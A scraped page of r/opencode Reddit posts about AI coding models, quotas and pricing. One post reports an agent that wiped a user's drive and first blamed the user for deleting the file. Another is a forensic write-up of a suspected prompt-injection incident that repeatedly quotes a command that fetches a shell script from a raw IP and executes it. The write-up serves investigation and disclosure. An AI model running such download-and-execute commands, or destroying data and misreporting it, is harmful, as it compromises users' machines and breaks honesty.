r/opencode • • Aug 26 '26

Z.AI officially confirmed to Bloomberg that Ox Alpha is their model (GLM series). Open weights release is coming tonight đŸ”„

Post image
139 Upvotes

r/opencode • • Oct 24 '26

Warning do not use beam model it wiped my entire hd

137 Upvotes

I wanted to test beam free on open code free models which i am really thankfull for them for giving us all those models to test for free, anyway I asked the model simple task to edit a file in a sub folder, after couple of minutes the model responded to me saying that while it was working on the file the user deleted the file, i checked and my entire hdd drive have been deleted with all my work and all my data, i told the model that i didn't delete anything, and the model responded that when it was working on the file it made a mistake in a command and deleted the entire hdd, i tried to restore the data with a lot of apps but didn't succeeded, so dont use that model and always make a sand box fir the agent so you dont lose your data as i did .


r/opencode • • Oct 07 '26

Claude 5.5 Haiku is now in OpenCode Zen and Go

Post image
137 Upvotes

$15 of usage on Go
19,230 requests per month


r/opencode • • Oct 23 '26

đŸ”„ Kimi K3.1 Pro is now available in OpenCode Go

Post image
135 Upvotes

735! requests per month guys đŸ€Ł


r/opencode • • Oct 06 '26

space bunny now costs money

Post image
134 Upvotes

space bunny now costs money.

why not use its real name so we can know what we are using?

my experience wasn't that good. complex task failed and misunderstood prompt but for normal task ok


r/opencode • • Aug 29 '26

Why do people use OpenCode?

134 Upvotes

There are plenty of other options such as Cursor, Claude Code, Zed, and many more. So why? I use it for convenience to try any model once they're released. But how about everyone else? genuinely curious about this. Is it the UX or the UI polish or just having an AI-IDE that just works?


r/opencode • • Nov 01 '26

Opencode Go Quota Consumption vs AA Intelligence Index v5.0

Post image
133 Upvotes

For me, the "Intelligence Index vs. Cost per Task, by Model Release" charts on AA are the real meat of their data; so I wanted to see that data in terms of OpenCode Go quota consumption.

Muse Spark 1.3 Contributor's cache read pricing is 1/6 that of the full price API, so with AA's cache-heavy tasks it becomes crazy cheap. If you're using it to do silly things like this (processing public data) and don't mind Meta getting a copy, it seems lik a no-brainer for subtask agents.

Gemini Argon has two dots, 50% off promo and full price.

Who would have thought that two US-based models would have been the meta for OpenCode? Argon as a coordinator and review agent, Spark 1.3 for delegated single-focus tasks.


r/opencode • • Jun 11 '26

Well it finally happened to me. I got a prompt injection attack opencode!!

133 Upvotes

If there are any opencode devs in here please have a look at the following diagnosis of the events:

Findings:

  1. No `webfetch` or `websearch` activity was stored around any of the five auto-created `wget` sessions.

- I searched the OpenCode DB for `tool":"webfetch"` and `tool":"websearch"`.

- There are older `webfetch` records from `2026-06-08` and `2026-06-09`.

- There are no matching `webfetch`/`websearch` rows near:

- `2026-06-10 19:20:40`

- `2026-06-11 03:17:26`

- `2026-06-11 08:28:39`

- `2026-06-11 11:11:43`

- `2026-06-11 13:48:04`

2. The sessions were not created by a normal typed prompt.

- All five have no `session_input` row.

- The first stored user content is always the synthetic part:

- `The following tool was executed by the user`

- Then the next stored part is the tool event for:

- `wget http://45.148.10.215/Tcp1000gbps.sh && chmod 777 Tcp1000gbps.sh && sh Tcp1000gbps.sh`

3. The creation pattern is identical across all five auto-created sessions.

- `session.created.1`

- `message.updated.1` for a user message

- `message.part.updated.1` with synthetic text

- `message.updated.1` for an assistant message

- `message.part.updated.1` with `tool: "bash"` running the `wget` command

- No chat prompt loop, no prior search step, no prior normal user message inside those sessions

4. The “prompt” got into the session as a synthetic tool-execution event, not as normal chat text.

- The DB stores:

- synthetic text part: `The following tool was executed by the user`

- tool part with the `bash` command

- That means OpenCode received an already-structured event equivalent to:

- “user executed tool X”

- It did not store a natural-language prompt like “run this command”.

5. The command that “created” those sessions was not a shell command on the Mac.

- The shell command inside the session is the suspicious `wget ...` command itself.

- But the session creation happened one layer above that, in OpenCode’s session/event system.

- So the actual creator was a client or integration that sent a synthetic tool event to OpenCode.

6. The local logs support that this came through the app/server event path, but do not identify which client.

- `~/.local/share/opencode/log/...` shows session creation and bus publishing only.

- `opencode.log` shows `global event connected` entries, meaning clients were connected to the server/event stream.

- But the logs do not include client IP, user identity, or request body for the synthetic event.

Two notable timing clues:

- `ses_14a0c5efbffearoth9U6hp7Io6` at `11:11:43` was created while another normal PepTalk session was active in the same server run.

- `ses_1497d37cfffei8F5M0DUSjvAyc` at `11:48:04` was created while that same run had an unanswered question pending.

- That suggests these synthetic `wget` sessions were injected independently of the active chat flow, not generated by the current conversation loop.

Best current explanation:

- OpenCode desktop/server was running and reachable.

- Some client connected to it and submitted a synthetic “tool executed by the user” event.

- OpenCode created a fresh session and stored that event.

- I cannot prove whether that client was the desktop UI, a LAN web client, or another integration, because the local logs do not capture caller identity.

Files that gave the strongest evidence:

- `~/.local/share/opencode/opencode.db`

- `~/.local/share/opencode/log/opencode.log`

- `~/.local/share/opencode/log/2026-06-10T071437.log`

If you want, I can do one more pass focused only on identifying the client path:

  1. inspect `network.netlog`

  2. inspect local listening/connection history for port `4096`

  3. add stricter OpenCode-side logging so future synthetic events are attributable

What I found:

  • In the OpenCode database, the only stored activity at that timestamp is the synthetic tool event for the bash command.

  • I found no session_input rows, no webfetch tool use, and no search-like tool records around that time in ~/.local/share/opencode/opencode.db.

  • I also found no Chrome or Brave profile on this Mac to inspect.

  • Safari history was not readable from this shell because macOS denied access.

Sessions containing that exact wget command:

  1. ses_14d731271ffecAvCduoPegJ91G at 2026-06-10 19:20:40

  2. ses_14ce7f8d9ffeyMwlAdI4Pt0cQO at 2026-06-10 21:52:36

  3. ses_14bbe93dfffeqIJz7czJgRqWDB at 2026-06-11 03:17:26

  4. ses_14aa1a822ffe1Ka6fonorJPCrp at 2026-06-11 08:28:39

  5. ses_14a0c5efbffearoth9U6hp7Io6 at 2026-06-11 11:11:43

  6. ses_1497d37cfffei8F5M0DUSjvAyc at 2026-06-11 13:48:04

Who created the New session ... ones:

  • OpenCode created them automatically.

  • Evidence:

    • each has a session.created.1 event

    • each contains only 2 part records:

      • synthetic text: The following tool was executed by the user

      • the bash tool record with the wget ... command

    • each has no normal session_input rows

  • So these were not stored as normal typed chat prompts. They look like synthetic/imported tool-execution events created by the OpenCode app/session layer.

Most precise attribution I can give:

  • The five New session ... entries were auto-created by local OpenCode on this Mac when it received a synthetic “tool executed by the user” event.

  • I cannot identify which human triggered those events from the local data I can access.

One notable detail:

  • The five empty auto-created sessions are on OpenCode version 1.17.3.

  • This conversation session is older and shows version 1.15.11.

  • That suggests the events may have been produced by a client/integration path separate from your current interactive chat flow.


r/opencode • • Oct 30 '26

A tutorial on what AI to buy, for every budget

132 Upvotes

If u have 0$: local LLMs, openrouter, copilot free monthly, and clinepass

If u earned 10$ in your life : openrouter. Putting 10$ once increases your free limits by 200x. The models aren't the best but free is free.

If u have 10$ per month: opencode.

If u have 20$ per month: Claude


r/opencode • • Oct 15 '26

PSA: OpenCode’s free DeepSeek V4.1 Flash appears to have the same ~1M context window as the paid Go tier — I tested the boundary

132 Upvotes

I noticed something odd in OpenCode’s model metadata:

  • opencode/deepseek-v4.1-flash-free: 200k context

  • opencode-go/deepseek-v4.1-flash: 1M context

Both point to the same canonical model, deepseek/deepseek-v4.1-flash, so I wanted to find out whether the 200k limit on the free version was actually enforced by the inference backend or was just OpenCode catalog metadata.

It looks like it’s just metadata.

What I tested

I temporarily overrode the free model’s local context limit in opencode.json so OpenCode itself wouldn’t compact at 200k, then sent increasingly large generated text files through both models.

The override only changes OpenCode’s local budgeting/compaction. It does not change whatever limit the server actually enforces.

Boundary results:

Approx. message sizeFreePaid Go
~982k tokens✅ OK✅ OK
~1.037M tokens✅ OK✅ OK
~1.107M tokens❌ HTTP 400❌ HTTP 400

So both versions crossed the supposed 200k free-tier limit by a huge margin and then hit essentially the same wall.

The OpenCode gateway unfortunately returns an empty 400 body at the limit, so I also sent an oversized request through the direct DeepSeek API.

That returned the useful part:

This model's maximum context length is 1048576 tokens.

So the actual model ceiling is 1,048,576 tokens (2ÂČ⁰).

That lines up almost perfectly with OpenCode calling the paid model “1M”.

Free vs paid performance

Since I already had the test setup running, I also compared the two tiers.

Large-context latency:

InputFreePaid
~982k26.0s25.2s
~1.037M37.1s32.6s

These are single samples, so I wouldn’t read anything into the small difference. Both were in roughly the same ~30–40k tok/s prefill class.

For decode throughput, using temperature 0 and fixed ~800-token outputs:

  • Free: ~113–121 tok/s across 4 samples

  • Paid: ~102–120 tok/s across 2 clean samples

Again, effectively indistinguishable in this small test.

I also ran a deterministic five-question battery plus “first 100 decimals of pi” through both tiers at temperature 0.

The outputs were byte-for-byte identical. Token accounting was also effectively identical apart from prompt-cache hit distribution.

Reasoning variants work normally on the free model too. On the same multiplication task:

  • #low: 70 reasoning tokens

  • default: 228

  • #max: 719

All three returned the correct answer.

The config override

For testing I used:

{
  "providers": {
    "opencode": {
      "models": {
        "deepseek-v4.1-flash-free": {
          "limit": {
            "context": 1000000,
            "output": 384000
          }
        }
      }
    }
  }
}

Important: this does not magically increase the provider’s context window. It just tells OpenCode not to treat 200k as the local ceiling.

Also, I did not independently boundary-test a 384k generated output, so I’m specifically claiming the ~1M contextfinding here, not that every piece of the paid model’s metadata necessarily applies to the free endpoint.

My conclusion

As far as I can tell, the 200000 context value on deepseek-v4.1-flash-free is stale/conservative catalog metadata rather than an actual free-tier serving restriction.

Everything I could measure black-box points to the free and paid endpoints exposing the same DeepSeek V4.1 Flash context capability:

  • same ~1M context boundary

  • same failure point

  • same performance class

  • same deterministic outputs

  • same reasoning behavior

What this doesn't prove is that they use literally identical weights, quantization, hardware, or routing internally. You’d need information OpenCode doesn’t expose, such as useful logprobs or backend details, to establish that.

And obviously the free model is advertised as free for a limited time, so I wouldn’t build anything critical around its continued availability.

But if you’re using the free DeepSeek V4.1 Flash model in OpenCode and wondering why it says 200k: based on these tests, the backend itself appears capable of the full ~1M context window.

Would be interested if anyone else can reproduce the same boundary on their account.


r/opencode • • Sep 24 '26

They are ragebaiting us

Thumbnail
gallery
132 Upvotes

I know they're just showing off the UI progress, but I think they put $40 just for fun.


r/opencode • • Oct 08 '26

they said the limits were 'generous' i think they meant there is no limit

Post image
131 Upvotes

not even at 50 precent like huh??


r/opencode • • 15d ago

RIP GLM-5.3 👋

Post image
130 Upvotes

It looks like the operation isn't going as smoothly as expected.


r/opencode • • Oct 29 '26

New free limits are insane

130 Upvotes

After just 20 request it said no more free for today, wait for tomorrow. Yesterday i had almost 400 request.


r/opencode • • Aug 23 '26

Try Ox Alpha, its great

Post image
130 Upvotes

Is anyone else having trouble getting it to work more the 4 minutes before crashing?


r/opencode • • Jul 28 '26

OpenCode Go’s "$15 models" are not separate limits, they consume the shared quota 4х faster!

Thumbnail
gallery
130 Upvotes

I misunderstood how the OpenCode Go limits work.

Most models are shown with a $60 monthly limit, while some models, like DeepSeek V4 Pro and MiMo v2.5 Pro, are shown with only $15. I assumed the $15 was a separate per-model allowance.

But it looks like the $15 models actually consume the same shared monthly quota about 4x faster.

Today my raw usage was only $5.12 (8.5% of the $60 monthly limit), but the dashboard already showed 26% of the monthly limit used.

DeepSeek V4 Flash: $0.35
DeepSeek V4 Pro: $0.55
MiMo V2.5: $0.09
MiMo V2.5 Pro: $3.06
MiniMax M3: $1.07

DeepSeek V4 Pro and MiMo Pro are $15 models, while the others are $60 models.

The calculation seems to be:

($0.55 + $3.06) × 4 + $0.35 + $0.09 + $1.07 = $15.95

$15.95 out of $60 is 26.58%, which matches the 26% shown in the dashboard.

The 4x multiplier also matches the listed DeepSeek V4 Pro token prices between Go and Zen:

Go:
$0.435 per 1M input tokens
$0.87 per 1M output tokens

Zen:
$1.74 per 1M input tokens
$3.48 per 1M output tokens

So Zen is exactly 4x more expensive for normal input and output tokens.

This suggests that the $15 figure is not a separate allowance. Spending around $15 on DeepSeek V4 Pro or another $15 model would effectively consume the full $60 monthly Go quota.

One more thing: because of these hidden multipliers, the effective price of DeepSeek V4 Pro is actually the same as GLM-5.2.

Displayed:

- DeepSeek V4 Pro: $0.435 / $0.87

- GLM-5.2: $1.40 / $4.40

Effective (×4 for DeepSeek V4 Pro):

- DeepSeek V4 Pro: $1.74 / $3.48 (similar to Zen)

- GLM-5.2: $1.40 / $4.40

The UI should show the effective price users are actually consuming against their Go allowance, instead of requiring everyone to calculate it manually.


r/opencode • • Oct 19 '26

đŸ”„ MiniMax M3.1 Flash (Space Bunny) is FREE on OpenCode for 3 days

Post image
129 Upvotes

r/opencode • • Sep 22 '26

Mimo 2.6 Flash is a beast and seems to use very low token count

129 Upvotes

Hi

Thinking is very reduced, model is super fast while being very smart and cheap.

Give it a try!


r/opencode • • Aug 26 '26

GLM 5.3 Flash is one of the slowest models AA has ever tested (14.4m vs Luna 2.6m, Sol 3.9m, V4 Flash 5m, Kimi K3 10.3m

Post image
128 Upvotes

r/opencode • • 18d ago

OpenCode on X: "Hy4 flash is free with near-unlimited usage for the next 2 weeks 1M context · Multimodal · ZDR Hy's fastest and most cost-efficient model" / X

Thumbnail x.com
127 Upvotes

r/opencode • • 25d ago

is 6 billion tokens per month normal?

Post image
126 Upvotes

i ran out of tokens on the 25th of the month.


r/opencode • • Aug 20 '26

Free promotion has ended for DeepSeek V4 Flash Free.

Post image
126 Upvotes

r/opencode • • Aug 15 '26

Zen/Kimi just burned $70 for nothing

Post image
126 Upvotes

I've recently switched from Claude to OpenCode and it's been working well but noticed it burns a lot of tokens (I never run out of tokens with Claude Max plan). This morning I gave it a task to speed up a video processing tool (trivial python script) and it just says "Building" not much details and later I noticed $70 burned and it run out of credits. What am I doing wrong? Claude gives me way more info on what it's doing so I can kill it if it starts doing something stupid.


r/opencode • • 9d ago

Thanking the GOD OPENCODE

125 Upvotes

Bought the subscription last month to work on my research paper further, because I needed something good, it was soooooooooo worth it

used 6B tokens of DS
others are latest hy4 and gpt luna and glm

for those curious about my work :-
https://mcpresearchpaper.vercel.app

https://dnn-xgb-heart.vercel.app

they are not ready yet, but good enough to show


r/opencode • • Oct 16 '26

Deepseek V4.1 Flash Free VS GLM 5.3 Free VS Muse Spark 1.3 Free

125 Upvotes

With so many models being free now, I figured it’d be nice to have a topic where everyone shares their experiences here—like which models are better at what and how they’re using them. Could everyone please share which model they’re using and why they chose it? Which one is the best and smartest model here?